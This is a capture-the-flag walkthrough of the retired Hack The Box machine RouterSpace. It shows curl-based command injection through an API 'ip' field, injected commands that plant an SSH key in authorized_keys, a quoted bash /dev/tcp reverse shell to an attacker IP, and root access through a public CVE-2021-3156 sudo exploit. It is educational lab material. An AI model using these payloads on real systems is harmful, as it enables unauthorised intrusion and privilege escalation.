Hack The Box
Hack The Box: RouterSpace Walkthrough
An archived walkthrough of the retired Hack The Box RouterSpace machine, preserved from Abdullah Kareem's OSWE Prep preparation notes.

Difficulty: Easy
OS: Linux
IP: 10.129.227.47
Attacker IP: 10.10.16.84
Mindset & Methodology <a name="mindset">
</a>
<a name="mindset"></a>Before touching any machine, understand the hacker's core loop:
Enumerate → Find Attack Surface → Exploit → Enumerate Again → Escalate
Every step feeds the next. You never skip enumeration — even when you think you know what to do. Information you ignore early often comes back to bite you later.
The golden rule: follow the data, not assumptions.
Step 1 — Reconnaissance <a name="step-1">
</a>
<a name="step-1"></a>What we do
nmap -p- --min-rate 10000 10.129.227.47
Why this command
-p-scans all 65535 ports, not just the top 1000. Services can run on non-standard ports — missing one means missing an attack vector.--min-rate 10000speeds up the scan. On HTB labs (controlled environments) this is safe. On real engagements you would slow this down to avoid detection.
What we found
22/tcp open ssh
80/tcp open http
Hacker mindset
Two ports means a small attack surface. SSH (22) is almost never the entry point — brute-forcing SSH is loud and usually fruitless without credentials. HTTP (80) is the interesting one. Web applications are almost always where you start.
Port 22 gets mentally filed away as: "useful later once I have credentials or a key."
Step 2 — Web Enumeration <a name="step-2">
</a>
<a name="step-2"></a>What we do
First, add the hostname to /etc/hosts so the machine resolves by name:
echo "10.129.227.47 routerspace.htb" | sudo tee -a /etc/hosts
Why add a hostname
Many web apps behave differently depending on the Host header in HTTP requests. Virtual hosting means the server may only show you the right content if you use the correct domain name. Always add <ip> <boxname>.htb as a habit.
Browse to the site
Visit http://routerspace.htb in a browser.
You find a simple marketing page for a router management app. The only interactive element is a Download button that gives you RouterSpace.apk.
What we download
wget http://routerspace.htb/RouterSpace.apk -P /home/kali/Downloads/htb/
Hacker mindset
When a website offers a downloadable file — especially an app — download it immediately. Apps are goldmines: they contain API endpoints, hardcoded credentials, encryption keys, and business logic. This is your primary lead.
Directory brute-forcing this site returns nothing useful (the server returns 200 for everything, making it noisy). The APK is the real attack surface.
Step 3 — APK Analysis (Static) <a name="step-3">
</a>
<a name="step-3"></a>What is an APK
An APK (Android Package) is essentially a zip file containing:
- Compiled Java/Kotlin bytecode (
.dexfiles) - Resources (images, layouts, strings)
- A manifest file describing the app
- Any bundled JavaScript (for React Native apps)
Unpacking the APK
apktool d RouterSpace.apk
This decompiles the APK into human-readable form. You get directories like smali/ (disassembled bytecode), assets/, and AndroidManifest.xml.
What to look for
AndroidManifest.xml — tells you what the app does, what permissions it needs, and what components it has.
assets/index.android.bundle — if it's a React Native app, all the JavaScript logic lives here. This includes API calls, endpoints, and sometimes credentials.
Key findings
- The app is built with React Native (JavaScript running on Android)
- The certificate in
original/META-INF/CERT.RSAcontains the stringrouterspace.htb— confirms our hostname guess - The JavaScript bundle (though obfuscated) reveals the app makes POST requests to
[redacted encoded lab material]
Hacker mindset
You do NOT need a working Android emulator to hack this. That's a trap beginners fall into — spending hours setting up Genymotion or Android Studio. The goal is to understand what the app sends to the server, then replicate it yourself with curl. Static analysis gets you the endpoint and headers without ever running the app.
Step 4 — Testing the API Endpoint <a name="step-4">
</a>
<a name="step-4"></a>What we know so far
From static analysis:
- Endpoint:
POST [redacted encoded lab material] - The app sends JSON with an
ipfield - The
User-Agentmust beRouterSpaceAgent(the server rejects other values)
Test the endpoint
curl -s \
-H 'User-Agent: RouterSpaceAgent' \
-H 'Content-Type: application/json' \
-d '{"ip":"0.0.0.0"}' \
http://routerspace.[redacted encoded lab material]
Response
"0.0.0.0\n"
What this tells us
The server is echoing our input back. This is a huge hint. When a server takes user input, does something with it server-side, and returns a result — it's almost certainly passing that input to a system command or function.
The question becomes: what is the server doing with this IP? Possibilities:
- Running
ping <ip> - Running
traceroute <ip> - Passing it to some custom shell script
Any of these would be vulnerable to command injection if the input isn't sanitized.
Hacker mindset
Whenever you see "input goes in, result comes out," think: what process is handling this? If there's a shell involved anywhere in that chain, you can inject commands. The echo behavior is a dead giveaway that the server is processing your string in a shell context.
Step 5 — Command Injection <a name="step-5">
</a>
<a name="step-5"></a>What is command injection
When a web application passes user-controlled input directly to a system shell command without sanitization, you can terminate the intended command and append your own. For example, if the server runs:
ping -c 1 <user_input>
And you supply 0.0.0.0; id, the shell interprets this as:
ping -c 1 0.0.0.0; id
The ; ends the ping command and starts a new one (id), which runs as whatever user the web server process belongs to.
Test it
curl -s \
-H 'User-Agent: RouterSpaceAgent' \
-H 'Content-Type: application/json' \
-d '{"ip":"0.0.0.0; id"}' \
http://routerspace.[redacted encoded lab material]
Response
"0.0.0.0\nuid=1001(paul) gid=1001(paul) groups=1001(paul)\n"
We have Remote Code Execution (RCE) as user paul.
Why not get a reverse shell
The machine has an outbound firewall — it blocks connections from the target back to us. A classic bash reverse shell like bash -i >& /dev/tcp/10.10.16.84/4444 0>&1 just hangs.
This is common on HTB and real environments. When you can't get a shell back, pivot to writing files instead. We have RCE — we can read and write files on the server. That's enough to plant an SSH key.
Hacker mindset
Firewalls block outbound. But the server can still accept inbound SSH connections on port 22 (that's what it's there for). Instead of making the server call us, we make ourselves able to log in as paul via SSH. Plant our public key → connect legitimately.
Step 6 — Getting a Shell as paul <a name="step-6">
</a>
<a name="step-6"></a>How SSH key authentication works
SSH supports two login methods:
- Password — you type a password
- Key pair — you have a private key locally, and the server has your public key in
~/.ssh/authorized_keys
If the server finds your public key in authorized_keys, it grants access without a password. We can write our public key there using our RCE.
Generate an SSH key pair on Kali
ssh-keygen -t ed25519 -f /home/kali/.ssh/routerspace -N ""
-t ed25519— modern, fast elliptic curve key type-f— file path to save the key-N ""— no passphrase (empty, for convenience)
This creates two files:
/home/kali/.ssh/routerspace— your private key (never share this)/home/kali/.ssh/routerspace.pub— your public key (safe to share/plant)
Plant the public key via RCE
curl -s \
-H 'User-Agent: RouterSpaceAgent' \
-H 'Content-Type: application/json' \
-d "{\"ip\":\"0.0.0.0; mkdir -p /home/paul/.ssh && echo '$(cat /home/kali/.ssh/routerspace.pub)' >> /home/paul/.ssh/authorized_keys\"}" \
http://routerspace.[redacted encoded lab material]
Breaking down the injected command:
mkdir -p /home/paul/.ssh— create the.sshdirectory if it doesn't exist (-psuppresses errors if it already exists)&&— only run the next command if the previous succeededecho '<pubkey>' >> authorized_keys— append our public key (>>appends,>would overwrite)
Connect via SSH
ssh -i /home/kali/.ssh/routerspace paul@routerspace.htb
You're in.
Hacker mindset
We went from "I can run commands" to "I have an interactive shell" by leveraging what we had access to. No fancy exploit — just logic: SSH exists, we can write files, keys allow passwordless SSH login. Chain the primitives together.
Step 7 — User Flag <a name="step-7">
</a>
<a name="step-7"></a>cat /home/paul/user.txt
83531[redacted]735eda2222
Step 8 — Privilege Escalation Enumeration <a name="step-8">
</a>
<a name="step-8"></a>The goal
We're logged in as paul (a regular user). We need to become root to read /root/root.txt. This is called privilege escalation.
What to check first
Always start by checking the sudo version — it's a common escalation path:
sudo --version
Or use a quick vulnerability check from the CVE-2021-3156 advisory:
sudoedit -s Y
- If it prompts for a password → vulnerable to Baron Samedit
- If it prints usage/help → patched
Response
[sudo] password for paul:
Vulnerable.
Hacker mindset
Before running automated tools like LinPEAS, do quick manual checks for known critical vulns first. CVE-2021-3156 was patched in January 2021 — machines released around or before that date are often still vulnerable. The sudoedit -s Y one-liner is a near-instant check. Fast wins first.
Step 9 — Exploiting CVE-2021-3156 (Baron Samedit) <a name="step-9">
</a>
<a name="step-9"></a>What is Baron Samedit
CVE-2021-3156 is a heap-based buffer overflow in sudo discovered by Qualys in January 2021. It affects sudo versions 1.8.2 through 1.8.31p2 and 1.9.0 through 1.9.5p1.
The vulnerability: when sudoedit is invoked with a trailing backslash in an argument, it incorrectly unescapes the argument, overflowing a heap buffer. Because sudo runs as root (it's a setuid binary), this overflow can be exploited to gain a root shell.
You don't need to understand the heap exploitation internals — you just need to know:
- It exists
- The target is vulnerable
- There's a public PoC
On Kali — download the exploit
cd /tmp
wget https://codeload.github.com/blasty/CVE-2021-3156/zip/main -O CVE-2021-3156.zip
unzip CVE-2021-3156.zip
Transfer to the target
Because outbound connections are blocked, we use SCP (which goes inbound from Kali to the target over port 22 — allowed):
scp -i /home/kali/.ssh/routerspace -r /tmp/CVE-2021-3156-main paul@routerspace.htb:/tmp/
On the target — compile and run
cd /tmp/CVE-2021-3156-main
make
./sudo-hax-me-a-sandwich 1
The 1 selects the target profile: Ubuntu 20.04.1 (Focal Fossa), sudo 1.8.31, libc-2.31.
The exploit prints its progress and drops you into a root shell:
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
using target: Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# id
uid=0(root) gid=0(root) groups=0(root),1001(paul)
Why index 1 specifically
The exploit targets specific memory offsets that vary by sudo version and libc version. The PoC ships with a list of pre-computed targets. You identify which one matches by checking the OS and sudo version on the target (lsb_release -a, sudo --version). Ubuntu 20.04 with sudo 1.8.31 is index 1 in blasty's list.
Hacker mindset
Public PoCs exist for well-known CVEs. The skill isn't writing the exploit from scratch — it's: (1) identifying the vulnerability, (2) finding the right PoC, (3) matching the target profile correctly. Getting the target index wrong means a crash instead of a shell.
Step 10 — Root Flag <a name="step-10">
</a>
<a name="step-10"></a>cat /root/root.txt
49e6ee[redacted]537577942
Lessons Learned <a name="lessons">
</a>
<a name="lessons"></a>1. You don't always need to run the app
The APK was a red herring in terms of setup complexity. Static analysis (reading the decompiled source) gave us everything we needed. The "dynamic analysis with Android emulator" path works, but it's slow and painful. Always try the simple path first.
2. Firewalls don't stop you — they redirect you
An outbound firewall kills reverse shells. But if inbound SSH is open and you have file write, you still win. Think about what channels ARE available, not just the ones that are blocked.
3. Check sudo version early
Baron Samedit affected a huge number of systems. It's one of the first things worth checking on any Linux target from 2021 or earlier. A 5-second check (sudoedit -s Y) can save you hours of enumeration.
4. Chain primitives
- RCE → file write → SSH key → interactive shell
- Interactive shell → version check → public exploit → root
Neither jump was a single magic step. Each primitive enabled the next one. This chaining is the core skill of post-exploitation.
5. The hacker mindset in one sentence
"What do I have, what can I do with it, and what does that unlock next?"
Machine: RouterSpace | Difficulty: Easy | OS: Linux | Category: Android / Command Injection / Known CVE